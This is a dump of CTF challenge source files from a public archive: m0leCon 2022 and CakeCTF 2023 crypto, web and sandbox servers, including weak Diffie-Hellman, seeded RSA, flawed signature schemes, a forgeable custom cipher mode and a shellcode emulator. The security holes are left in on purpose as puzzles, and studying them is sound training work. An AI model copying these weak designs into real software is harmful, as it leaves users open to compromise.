userid = os.urandom(3).hex()
while userid in Ids.values():
userid = os.urandom(3).hex()
Ids[username] = userid
print('Successfully registered')
return username, password
def transactions(username: str, password: str):
transactions = list()
for name in Users:
user = Users[name]
if user.username == username:
t = user.read_transactions(password)
else:
t = user.read_transactions(None)
for timestamp in t:
transactions.append((Ids[name], timestamp, t[timestamp]))
transactions.sort(key=lambda e: int(e[1]))
return transactions
for user in users():
Users[user] = UserChannel.from_file(Path + user + '.json')
userid = os.urandom(3).hex()
while userid in Ids.values():
userid = os.urandom(3).hex()
Ids[user] = userid
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Beginner/crypto/SSA/challenge.py | ctfs/m0leCon/2022/Beginner/crypto/SSA/challenge.py | # The following imports are from the pycryptodome library
from Crypto.Util.number import getPrime
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from secret import message
import random
import os
if __name__ == '__main__':
print('Welcome to the Secret Service Agency, the most secret agency in the world!')
print('We have found out that there is a mole between our specialized agents. One of our most capable men, Agent Platypus, has found out a communication between him and his accomplice encrypted with a key that they shared using the Diffie Hellman protocol beforehead.')
print('Can you find out the key used to encrypt the message and decrypt it, knowing that the message has been encrypted with AES-CBC and the key has been derivated with "s.to_bytes(16, \'little\')", where "s" is the shared secret between the two? We hope to find out who the mole and his accomplice are!')
print('Here it is the communication we have been able to intercept:')
print()
g = 2
p = getPrime(64)
a = random.randint(1, p-1)
A = pow(g, a, p)
print('Mole:')
print('g =', g)
print('p =', p)
print('A =', A)
print()
b = random.randint(1, p-1)
print('Accomplice:')
print('B =', pow(g, b, p))
print()
key = pow(A, b, p).to_bytes(16, 'little')
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
print('Mole:')
print('IV =', iv.hex())
print(
'Message =',
cipher.encrypt(pad(message.encode(), AES.block_size)).hex()
)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Beginner/crypto/Magic_not_crypto/challenge.py | ctfs/m0leCon/2022/Beginner/crypto/Magic_not_crypto/challenge.py | # The following imports are from the pycryptodome library
from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime
import hashlib
import base64
import random
import os
def RSA(x: bytes) -> bytes:
e = 65537
random.seed(bytes_to_long(x[:4]))
p = getPrime(1024, randfunc=random.randbytes)
q = getPrime(1024, randfunc=random.randbytes)
N = p * q
return long_to_bytes(pow(bytes_to_long(x), e, N))
def rot13(x: bytes) -> bytes:
return x.translate(bytes.maketrans(
bytes([i for i in range(256)]),
bytes([(i + 13) % 256 for i in range(256)])
))
possible_methods = [
base64.b64encode,
lambda x: x[::-1],
RSA,
rot13
]
flag = os.getenv('FLAG', 'ptm{ju57' + 'X' * (64 - 8 - 6) + 'tr1ck}').encode()
assert (
flag.startswith(b'ptm{ju57')
and flag.endswith(b'tr1ck}')
and len(flag) == 64
)
if __name__ == '__main__':
print('Hi challenger! I\'ll give you a flag encoded and encrypted with some magic methods that only the best cryptographers know!')
print('If you want to get the flag, you will have to read the source code and try to invert all my special algorithms. I will give you the list of steps I have used and the result of all of them, good luck!')
print()
steps = []
i = 0
while i < 20:
chosen = random.randint(0, len(possible_methods) - 1)
if chosen == 2 and chosen in steps:
# We don't want to use RSA twice
continue
steps.append(chosen)
flag = possible_methods[chosen](flag)
i += 1
print(steps)
print(flag.hex())
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Beginner/crypto/Determination_is_key/challenge.py | ctfs/m0leCon/2022/Beginner/crypto/Determination_is_key/challenge.py | # The following imports are from the pycryptodome library
from Crypto.Util.number import isPrime, bytes_to_long
from functools import reduce
import random
import os
flag = os.getenv('FLAG', 'ptm{fake_flag}')
def getPrime() -> int:
# Magic function to get 256 bits or more prime
while True:
p = random.randint(2, 2**16)
ds = [int(d) for d in str(p)]
r = reduce(lambda x, y: x * y, ds)
if r in [1, 0]:
continue
while not isPrime(r) or r <= 2**256:
r = r * 2 - 1
return r
if __name__ == '__main__':
p, q = getPrime(), getPrime()
N = p * q
e = 65537
ciphertext = pow(bytes_to_long(flag.encode()), e, N)
print('N =', N)
print('ciphertext =', ciphertext)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Beginner/web/FloppyBird/app.py | ctfs/m0leCon/2022/Beginner/web/FloppyBird/app.py | from flask import Flask, request, send_file, jsonify
from flask_limiter.util import get_remote_address
from flask_limiter import Limiter
import sqlite3
import os
db = sqlite3.connect('db.sqlite3', check_same_thread=False)
db.execute('CREATE TABLE IF NOT EXISTS scores (token TEXT, score INTEGER)')
app = Flask(
__name__,
static_url_path='',
static_folder=os.getcwd() + '/client'
)
limiter = Limiter(app, key_func=get_remote_address)
flag = os.getenv('FLAG', 'ptm{flag}')
@app.route('/', methods=['GET'])
def home():
return send_file('client/index.html')
@app.route('/get-token', methods=['GET'])
def get_token():
token = os.urandom(16).hex()
db.execute('INSERT INTO scores VALUES (?, ?)', (token, 0))
db.commit()
return {'ok': True, 'token': token}
@app.route('/update-score', methods=['POST'])
@limiter.limit('12/second', on_breach=lambda _: jsonify({'ok': False, 'error': 'Too many requests'}))
def update_score():
if not request.json or 'token' not in request.json:
return {'ok': False, 'error': 'No token was given, you need to get one if you want to play'}, 400
client_score = request.json['score']
if type(client_score) != int:
return {'ok': False, 'error': 'Invalid score type, did you pass a correct number?'}
elif type(request.json['token']) != str:
return {'ok': False, 'error': 'Invalid token type, did you pass the correct token?'}
db_score = db.execute(
'SELECT score FROM scores WHERE token = ?',
(request.json['token'],)
).fetchone()
if db_score is None:
return {'error': 'The given token is invalid, did I ever see you before?'}, 400
db_score = db_score[0]
if client_score == db_score + 1 or client_score == db_score * 2:
db.execute(
'UPDATE scores SET score = ? WHERE token = ?',
(client_score, request.json['token'])
)
elif client_score > db_score:
return {'ok': False, 'error': 'An invalid score was given, are you trying to hack me?'}, 400
if client_score >= 1000:
return {'ok': True, 'flag': flag}, 200
return {'ok': True}, 200
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CakeCTF/2023/sandbox/unicomp/sandbox.py | ctfs/CakeCTF/2023/sandbox/unicomp/sandbox.py | #!/usr/local/bin/python
import ctypes
from unicorn import *
from unicorn.x86_const import *
libc = ctypes.CDLL(None)
LOAD_ADDR, CODE_SIZE = 0x555555554000, 0x10000
STACK_ADDR, STACK_SIZE = 0x7ffffffdd000, 0x22000
def emu_syscall(mu, _user_data):
ret = libc.syscall(
mu.reg_read(UC_X86_REG_RAX),
mu.reg_read(UC_X86_REG_RDI), mu.reg_read(UC_X86_REG_RSI),
mu.reg_read(UC_X86_REG_RDX), mu.reg_read(UC_X86_REG_R10),
mu.reg_read(UC_X86_REG_R8) , mu.reg_read(UC_X86_REG_R9),
)
mu.reg_write(UC_X86_REG_RAX, ret)
def chk_syscall(mu, addr, size, _user_data):
insn = mu.mem_read(addr, size)
if insn == bytearray(b'\x0f\x05'): # syscall
sys_num = mu.reg_read(UC_X86_REG_RAX)
if sys_num != 60:
print(f"[-] System call not allowed: {sys_num}")
mu.emu_stop()
def emulate(code):
assert len(code) <= CODE_SIZE, "Too long shellcode"
mu = Uc(UC_ARCH_X86, UC_MODE_64)
# Map code memory
mu.mem_map(LOAD_ADDR, CODE_SIZE, UC_PROT_READ | UC_PROT_EXEC)
mu.mem_write(LOAD_ADDR, code)
# Map stack memory
mu.mem_map(STACK_ADDR, STACK_SIZE, UC_PROT_READ | UC_PROT_WRITE)
mu.reg_write(UC_X86_REG_RSP, STACK_ADDR + STACK_SIZE)
# Set hook
mu.hook_add(UC_HOOK_CODE, chk_syscall)
mu.hook_add(UC_HOOK_INSN, emu_syscall, None, 1, 0, UC_X86_INS_SYSCALL)
# Start emulation
try:
mu.emu_start(LOAD_ADDR, LOAD_ADDR + len(code), UC_SECOND_SCALE*3)
except UcError:
print("[-] Segmentation fault")
if __name__ == '__main__':
emulate(bytes.fromhex(input("shellcode: ")))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CakeCTF/2023/sandbox/cranelift/run.py | ctfs/CakeCTF/2023/sandbox/cranelift/run.py | #!/usr/local/bin/python
import subprocess
import tempfile
if __name__ == '__main__':
print("Enter your code (End with '__EOF__\\n')")
code = ''
while True:
line = input()
if line == '__EOF__':
break
code += line + "\n"
with tempfile.NamedTemporaryFile('w') as f:
f.write(code)
f.flush()
p = subprocess.Popen(["./toy", f.name],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
result = p.communicate()
print(result[0].decode())
print("[+] Done.")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CakeCTF/2023/crypto/Iron_Door/server.py | ctfs/CakeCTF/2023/crypto/Iron_Door/server.py | from Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes
from hashlib import sha256
import os
import secrets
import signal
def h1(s: bytes) -> int:
return int(sha256(s).hexdigest()[:40], 16)
def h2(s: bytes) -> int:
return int(sha256(s).hexdigest()[:50], 16)
# curl https://2ton.com.au/getprimes/random/2048
q = 10855513673631576111128223823852736449477157478532599346149798456480046295301804051241065889011325365880913306008412551904076052471122611452376081547036735239632288113679547636623259366213606049138707852292092112050063109859313962494299170083993779092369158943914238361319111011578572373690710592496259566364509116075924022901254475268634373605622622819175188430725220937505841972729299849489897919215186283271358563435213401606699495614442883722640159518278016175412036195925520819094170566201390405214956943009778470165405468498916560026056350145271115393499136665394120928021623404456783443510225848755994295718931
p = 2*q + 1
assert isPrime(p)
assert isPrime(q)
g = 3
flag = os.getenv("FLAG", "neko{nanmo_omoi_tsukanai_owari}")
x = getRandomRange(0, q)
y = pow(g, x, p)
salt = secrets.token_bytes(16)
def sign(m: bytes):
z = h1(m)
k = inverse(h2(long_to_bytes(x + z)), q)
r = h2(long_to_bytes(pow(g, k, p)))
s = (z + x*r) * inverse(k, q) % q
return r, s
def verify(m: bytes, r: int, s: int):
z = h1(m)
sinv = inverse(s, q)
gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p
r2 = h2(long_to_bytes(gk))
return r == r2
# integrity check
r, s = sign(salt)
assert verify(salt, r, s)
signal.alarm(1000)
print("salt =", salt.hex())
print("p =", p)
print("g =", g)
print("y =", y)
while True:
choice = input("[s]ign or [v]erify:").strip()
if choice == "s":
print("=== sign ===")
m = input("m = ").strip().encode()
if b"goma" in m:
exit()
r, s = sign(m + salt)
# print("r =", r) # do you really need?
print("s =", s)
elif choice == "v":
print("=== verify ===")
m = input("m = ").strip().encode()
r = int(input("r = "))
s = int(input("s = "))
assert 0 < r < q
assert 0 < s < q
ok = verify(m + salt, r, s)
if ok and m == b"hirake goma":
print(flag)
elif ok:
print("OK")
exit()
else:
print("NG")
exit()
else:
exit()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CakeCTF/2023/crypto/simple_signature/server.py | ctfs/CakeCTF/2023/crypto/simple_signature/server.py | import os
import sys
from hashlib import sha512
from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD
import signal
flag = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}")
p = getStrongPrime(512)
g = 2
def keygen():
while True:
x = getRandomRange(2, p-1)
y = getRandomRange(2, p-1)
w = getRandomRange(2, p-1)
v = w * y % (p-1)
if GCD(v, p-1) != 1:
continue
u = (w * x - 1) * inverse(v, p-1) % (p-1)
return (x, y, u), (w, v)
def sign(m, key):
x, y, u = key
r = getRandomRange(2, p-1)
return pow(g, x*m + r*y, p), pow(g, u*m + r, p)
def verify(m, sig, key):
w, v = key
s, t = sig
return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p
def h(m):
return int(sha512(m.encode()).hexdigest(), 16)
if __name__ == '__main__':
magic_word = "cake_does_not_eat_cat"
skey, vkey = keygen()
print(f"p = {p}")
print(f"g = {g}")
print(f"vkey = {vkey}")
signal.alarm(1000)
while True:
choice = input("[S]ign, [V]erify: ").strip()
if choice == "S":
message = input("message: ").strip()
assert message != magic_word
sig = sign(h(message), skey)
print(f"(s, t) = {sig}")
elif choice == "V":
message = input("message: ").strip()
s = int(input("s: ").strip())
t = int(input("t: ").strip())
assert 2 <= s < p
assert 2 <= t < p
if not verify(h(message), (s, t), vkey):
print("invalid signature")
continue
print("verified")
if message == magic_word:
print(f"flag = {flag}")
sys.exit(0)
else:
break
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CakeCTF/2023/crypto/ding_dong_ting_ping/server.py | ctfs/CakeCTF/2023/crypto/ding_dong_ting_ping/server.py | import os
from base64 import b64decode, b64encode
from hashlib import md5
from datetime import datetime
from Crypto.Cipher import AES
FLAG = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}")
PREFIX = os.environ.get("PREFIX", "cake").encode()
KEY = os.urandom(16)
IV = os.urandom(16)
aes = AES.new(KEY, AES.MODE_ECB)
xor = lambda a, b: bytes([x^y for x, y in zip(a, b)])
def pad(data: bytes):
l = 16 - len(data) % 16
return data + bytes([l]*l)
def unpad(data: bytes):
return data[:-data[-1]]
def encrypt(plain: bytes):
plain = pad(plain)
blocks = [plain[i:i+16] for i in range(0, len(plain), 16)]
ciphers = [IV]
for block in blocks:
block = xor(block, md5(ciphers[-1]).digest())
ciphers.append(aes.encrypt(block))
return b"".join(ciphers)
def decrypt(cipher: bytes):
blocks = [cipher[i:i+16] for i in range(0, len(cipher), 16)]
h = md5(blocks[0]).digest() # IV
plains = []
for block in blocks[1:]:
plains.append(xor(aes.decrypt(block), h))
h = md5(block).digest()
return unpad(b"".join(plains))
def register():
username = b64decode(input("username(base64): ").strip())
if b"root" in username:
print("Cannot register as root user!")
else:
cookie = b"|".join([PREFIX, b"user="+username, str(datetime.now()).encode()])
cookie = encrypt(cookie)
cookie = b64encode(cookie)
print("your cookie =>", cookie.decode())
return
def login():
cookie = input("cookie: ").strip()
cookie = decrypt(b64decode(cookie))
data = cookie.split(b"|")
if (data[0] == PREFIX) and data[1].startswith(b"user="):
username = data[1].split(b"=")[1]
time = data[2]
else:
print("Authentication unsuccessful...")
return
print(f"Hi, {username.decode()}! [registered at {time.decode()}]")
if username != b"root":
print("You're not the root user...")
else:
print("Ding-Dong, Ding-Dong, Welcome, root. The ultimate authority has logged in.")
print("This is for you => ", FLAG)
return
while True:
print("===== MENU =====")
choice = int(input("[1]register [2]login: ").strip())
if choice == 1:
register()
elif choice == 2:
login()
else:
print("Invalid choice")
print()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CakeCTF/2023/web/TOWFL/service/app.py | ctfs/CakeCTF/2023/web/TOWFL/service/app.py | #!/usr/bin/env python3
import flask
import json
import lorem
import os
import random
import redis
REDIS_HOST = os.getenv("REDIS_HOST", "redis")
REDIS_PORT = int(os.getenv("REDIS_PORT", "6379"))
app = flask.Flask(__name__)
app.secret_key = os.urandom(16)
@app.route("/")
def index():
return flask.render_template("index.html")
@app.route("/api/start", methods=['POST'])
def api_start():
if 'eid' in flask.session:
eid = flask.session['eid']
else:
eid = flask.session['eid'] = os.urandom(32).hex()
# Create new challenge set
db().set(eid, json.dumps([new_challenge() for _ in range(10)]))
return {'status': 'ok'}
@app.route("/api/question/<int:qid>", methods=['GET'])
def api_get_question(qid: int):
if qid <= 0 or qid > 10:
return {'status': 'error', 'reason': 'Invalid parameter.'}
elif 'eid' not in flask.session:
return {'status': 'error', 'reason': 'Exam has not started yet.'}
# Send challenge information without answers
chall = json.loads(db().get(flask.session['eid']))[qid-1]
del chall['answers']
del chall['results']
return {'status': 'ok', 'data': chall}
@app.route("/api/submit", methods=['POST'])
def api_submit():
if 'eid' not in flask.session:
return {'status': 'error', 'reason': 'Exam has not started yet.'}
try:
answers = flask.request.get_json()
except:
return {'status': 'error', 'reason': 'Invalid request.'}
# Get answers
eid = flask.session['eid']
challs = json.loads(db().get(eid))
if not isinstance(answers, list) \
or len(answers) != len(challs):
return {'status': 'error', 'reason': 'Invalid request.'}
# Check answers
for i in range(len(answers)):
if not isinstance(answers[i], list) \
or len(answers[i]) != len(challs[i]['answers']):
return {'status': 'error', 'reason': 'Invalid request.'}
for j in range(len(answers[i])):
challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j]
# Store information with results
db().set(eid, json.dumps(challs))
return {'status': 'ok'}
@app.route("/api/score", methods=['GET'])
def api_score():
if 'eid' not in flask.session:
return {'status': 'error', 'reason': 'Exam has not started yet.'}
# Calculate score
challs = json.loads(db().get(flask.session['eid']))
score = 0
for chall in challs:
for result in chall['results']:
if result is True:
score += 1
# Is he/she worth giving the flag?
if score == 100:
flag = os.getenv("FLAG")
else:
flag = "Get perfect score for flag"
# Prevent reply attack
flask.session.clear()
return {'status': 'ok', 'data': {'score': score, 'flag': flag}}
def new_challenge():
"""Create new questions for a passage"""
p = '\n'.join([lorem.paragraph() for _ in range(random.randint(5, 15))])
qs, ans, res = [], [], []
for _ in range(10):
q = lorem.sentence().replace(".", "?")
op = [lorem.sentence() for _ in range(4)]
qs.append({'question': q, 'options': op})
ans.append(random.randrange(0, 4))
res.append(False)
return {'passage': p, 'questions': qs, 'answers': ans, 'results': res}
def db():
"""Get connection to DB"""
if getattr(flask.g, '_redis', None) is None:
flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
return flask.g._redis
if __name__ == '__main__':
app.run()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CakeCTF/2023/web/AdBlog/service/app.py | ctfs/CakeCTF/2023/web/AdBlog/service/app.py | import base64
import flask
import json
import os
import re
import redis
REDIS_HOST = os.getenv("REDIS_HOST", "redis")
REDIS_PORT = int(os.getenv("REDIS_PORT", "6379"))
app = flask.Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if flask.request.method == 'GET':
return flask.render_template("index.html")
blog_id = os.urandom(32).hex()
title = flask.request.form.get('title', 'untitled')
content = flask.request.form.get('content', '<i>empty post</i>')
if len(title) > 128 or len(content) > 1024*1024:
return flask.render_template("index.html",
msg="Too long title or content.")
db().set(blog_id, json.dumps({'title': title, 'content': content}))
return flask.redirect(f"/blog/{blog_id}")
@app.route('/blog/<blog_id>')
def blog(blog_id):
if not re.match("^[0-9a-f]{64}$", blog_id):
return flask.redirect("/")
blog = db().get(blog_id)
if blog is None:
return flask.redirect("/")
blog = json.loads(blog)
title = blog['title']
content = base64.b64encode(blog['content'].encode()).decode()
return flask.render_template("blog.html", title=title, content=content)
def db():
if getattr(flask.g, '_redis', None) is None:
flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
return flask.g._redis
if __name__ == '__main__':
app.run()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CakeCTF/2023/web/AdBlog/report/app.py | ctfs/CakeCTF/2023/web/AdBlog/report/app.py | import flask
import json
import os
import re
import redis
import requests
REDIS_HOST = os.getenv("REDIS_HOST", "redis")
REDIS_PORT = int(os.getenv("REDIS_HOST", "6379"))
RECAPTCHA_KEY = os.getenv("RECAPTCHA_KEY", None)
app = flask.Flask(__name__)
def db():
if getattr(flask.g, '_redis', None) is None:
flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=1)
return flask.g._redis
def recaptcha(response):
if RECAPTCHA_KEY is None:
# Players' environment
return True
r = requests.post("https://www.google.com/recaptcha/api/siteverify",
params={'secret': RECAPTCHA_KEY,
'response': response})
return json.loads(r.text)['success']
@app.route("/", methods=['GET', 'POST'])
def report():
error = ok = ""
if flask.request.method == 'POST':
blog_id = str(flask.request.form.get('url', ''))
response = flask.request.form.get('g-recaptcha-response')
if not re.match("^[0-9a-f]{64}$", blog_id):
error = 'Invalid blog ID'
elif not recaptcha(response):
error = "reCAPTCHA failed."
else:
db().rpush('report', f"blog/{blog_id}")
ok = "Admin will check it soon."
return flask.render_template("index.html", ok=ok, error=error)
if __name__ == '__main__':
app.run(debug=True)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CakeCTF/2023/web/Country_DB/init_db.py | ctfs/CakeCTF/2023/web/Country_DB/init_db.py | import sqlite3
import os
FLAG = os.getenv("FLAG", "FakeCTF{*** REDACTED ***}")
conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE country (
code TEXT NOT NULL,
name TEXT NOT NULL
);""")
conn.execute("""CREATE TABLE flag (
flag TEXT NOT NULL
);""")
conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,))
# Country list from https://gist.github.com/vxnick/380904
countries = [
('AF', 'Afghanistan'),
('AX', 'Aland Islands'),
('AL', 'Albania'),
('DZ', 'Algeria'),
('AS', 'American Samoa'),
('AD', 'Andorra'),
('AO', 'Angola'),
('AI', 'Anguilla'),
('AQ', 'Antarctica'),
('AG', 'Antigua And Barbuda'),
('AR', 'Argentina'),
('AM', 'Armenia'),
('AW', 'Aruba'),
('AU', 'Australia'),
('AT', 'Austria'),
('AZ', 'Azerbaijan'),
('BS', 'Bahamas'),
('BH', 'Bahrain'),
('BD', 'Bangladesh'),
('BB', 'Barbados'),
('BY', 'Belarus'),
('BE', 'Belgium'),
('BZ', 'Belize'),
('BJ', 'Benin'),
('BM', 'Bermuda'),
('BT', 'Bhutan'),
('BO', 'Bolivia'),
('BA', 'Bosnia And Herzegovina'),
('BW', 'Botswana'),
('BV', 'Bouvet Island'),
('BR', 'Brazil'),
('IO', 'British Indian Ocean Territory'),
('BN', 'Brunei Darussalam'),
('BG', 'Bulgaria'),
('BF', 'Burkina Faso'),
('BI', 'Burundi'),
('KH', 'Cambodia'),
('CM', 'Cameroon'),
('CA', 'Canada'),
('CV', 'Cape Verde'),
('KY', 'Cayman Islands'),
('CF', 'Central African Republic'),
('TD', 'Chad'),
('CL', 'Chile'),
('CN', 'China'),
('CX', 'Christmas Island'),
('CC', 'Cocos (Keeling) Islands'),
('CO', 'Colombia'),
('KM', 'Comoros'),
('CG', 'Congo'),
('CD', 'Congo, Democratic Republic'),
('CK', 'Cook Islands'),
('CR', 'Costa Rica'),
('CI', 'Cote D\'Ivoire'),
('HR', 'Croatia'),
('CU', 'Cuba'),
('CY', 'Cyprus'),
('CZ', 'Czech Republic'),
('DK', 'Denmark'),
('DJ', 'Djibouti'),
('DM', 'Dominica'),
('DO', 'Dominican Republic'),
('EC', 'Ecuador'),
('EG', 'Egypt'),
('SV', 'El Salvador'),
('GQ', 'Equatorial Guinea'),
('ER', 'Eritrea'),
('EE', 'Estonia'),
('ET', 'Ethiopia'),
('FK', 'Falkland Islands (Malvinas)'),
('FO', 'Faroe Islands'),
('FJ', 'Fiji'),
('FI', 'Finland'),
('FR', 'France'),
('GF', 'French Guiana'),
('PF', 'French Polynesia'),
('TF', 'French Southern Territories'),
('GA', 'Gabon'),
('GM', 'Gambia'),
('GE', 'Georgia'),
('DE', 'Germany'),
('GH', 'Ghana'),
('GI', 'Gibraltar'),
('GR', 'Greece'),
('GL', 'Greenland'),
('GD', 'Grenada'),
('GP', 'Guadeloupe'),
('GU', 'Guam'),
('GT', 'Guatemala'),
('GG', 'Guernsey'),
('GN', 'Guinea'),
('GW', 'Guinea-Bissau'),
('GY', 'Guyana'),
('HT', 'Haiti'),
('HM', 'Heard Island & Mcdonald Islands'),
('VA', 'Holy See (Vatican City State)'),
('HN', 'Honduras'),
('HK', 'Hong Kong'),
('HU', 'Hungary'),
('IS', 'Iceland'),
('IN', 'India'),
('ID', 'Indonesia'),
('IR', 'Iran, Islamic Republic Of'),
('IQ', 'Iraq'),
('IE', 'Ireland'),
('IM', 'Isle Of Man'),
('IL', 'Israel'),
('IT', 'Italy'),
('JM', 'Jamaica'),
('JP', 'Japan'),
('JE', 'Jersey'),
('JO', 'Jordan'),
('KZ', 'Kazakhstan'),
('KE', 'Kenya'),
('KI', 'Kiribati'),
('KR', 'Korea'),
('KW', 'Kuwait'),
('KG', 'Kyrgyzstan'),
('LA', 'Lao People\'s Democratic Republic'),
('LV', 'Latvia'),
('LB', 'Lebanon'),
('LS', 'Lesotho'),
('LR', 'Liberia'),
('LY', 'Libyan Arab Jamahiriya'),
('LI', 'Liechtenstein'),
('LT', 'Lithuania'),
('LU', 'Luxembourg'),
('MO', 'Macao'),
('MK', 'Macedonia'),
('MG', 'Madagascar'),
('MW', 'Malawi'),
('MY', 'Malaysia'),
('MV', 'Maldives'),
('ML', 'Mali'),
('MT', 'Malta'),
('MH', 'Marshall Islands'),
('MQ', 'Martinique'),
('MR', 'Mauritania'),
('MU', 'Mauritius'),
('YT', 'Mayotte'),
('MX', 'Mexico'),
('FM', 'Micronesia, Federated States Of'),
('MD', 'Moldova'),
('MC', 'Monaco'),
('MN', 'Mongolia'),
('ME', 'Montenegro'),
('MS', 'Montserrat'),
('MA', 'Morocco'),
('MZ', 'Mozambique'),
('MM', 'Myanmar'),
('NA', 'Namibia'),
('NR', 'Nauru'),
('NP', 'Nepal'),
('NL', 'Netherlands'),
('AN', 'Netherlands Antilles'),
('NC', 'New Caledonia'),
('NZ', 'New Zealand'),
('NI', 'Nicaragua'),
('NE', 'Niger'),
('NG', 'Nigeria'),
('NU', 'Niue'),
('NF', 'Norfolk Island'),
('MP', 'Northern Mariana Islands'),
('NO', 'Norway'),
('OM', 'Oman'),
('PK', 'Pakistan'),
('PW', 'Palau'),
('PS', 'Palestinian Territory, Occupied'),
('PA', 'Panama'),
('PG', 'Papua New Guinea'),
('PY', 'Paraguay'),
('PE', 'Peru'),
('PH', 'Philippines'),
('PN', 'Pitcairn'),
('PL', 'Poland'),
('PT', 'Portugal'),
('PR', 'Puerto Rico'),
('QA', 'Qatar'),
('RE', 'Reunion'),
('RO', 'Romania'),
('RU', 'Russian Federation'),
('RW', 'Rwanda'),
('BL', 'Saint Barthelemy'),
('SH', 'Saint Helena'),
('KN', 'Saint Kitts And Nevis'),
('LC', 'Saint Lucia'),
('MF', 'Saint Martin'),
('PM', 'Saint Pierre And Miquelon'),
('VC', 'Saint Vincent And Grenadines'),
('WS', 'Samoa'),
('SM', 'San Marino'),
('ST', 'Sao Tome And Principe'),
('SA', 'Saudi Arabia'),
('SN', 'Senegal'),
('RS', 'Serbia'),
('SC', 'Seychelles'),
('SL', 'Sierra Leone'),
('SG', 'Singapore'),
('SK', 'Slovakia'),
('SI', 'Slovenia'),
('SB', 'Solomon Islands'),
('SO', 'Somalia'),
('ZA', 'South Africa'),
('GS', 'South Georgia And Sandwich Isl.'),
('ES', 'Spain'),
('LK', 'Sri Lanka'),
('SD', 'Sudan'),
('SR', 'Suriname'),
('SJ', 'Svalbard And Jan Mayen'),
('SZ', 'Swaziland'),
('SE', 'Sweden'),
('CH', 'Switzerland'),
('SY', 'Syrian Arab Republic'),
('TW', 'Taiwan'),
('TJ', 'Tajikistan'),
('TZ', 'Tanzania'),
('TH', 'Thailand'),
('TL', 'Timor-Leste'),
('TG', 'Togo'),
('TK', 'Tokelau'),
('TO', 'Tonga'),
('TT', 'Trinidad And Tobago'),
('TN', 'Tunisia'),
('TR', 'Turkey'),
('TM', 'Turkmenistan'),
('TC', 'Turks And Caicos Islands'),
('TV', 'Tuvalu'),
('UG', 'Uganda'),
('UA', 'Ukraine'),
('AE', 'United Arab Emirates'),
('GB', 'United Kingdom'),
('US', 'United States'),
('UM', 'United States Outlying Islands'),
('UY', 'Uruguay'),
('UZ', 'Uzbekistan'),
('VU', 'Vanuatu'),
('VE', 'Venezuela'),
('VN', 'Viet Nam'),
('VG', 'Virgin Islands, British'),
('VI', 'Virgin Islands, U.S.'),
('WF', 'Wallis And Futuna'),
('EH', 'Western Sahara'),
('YE', 'Yemen'),
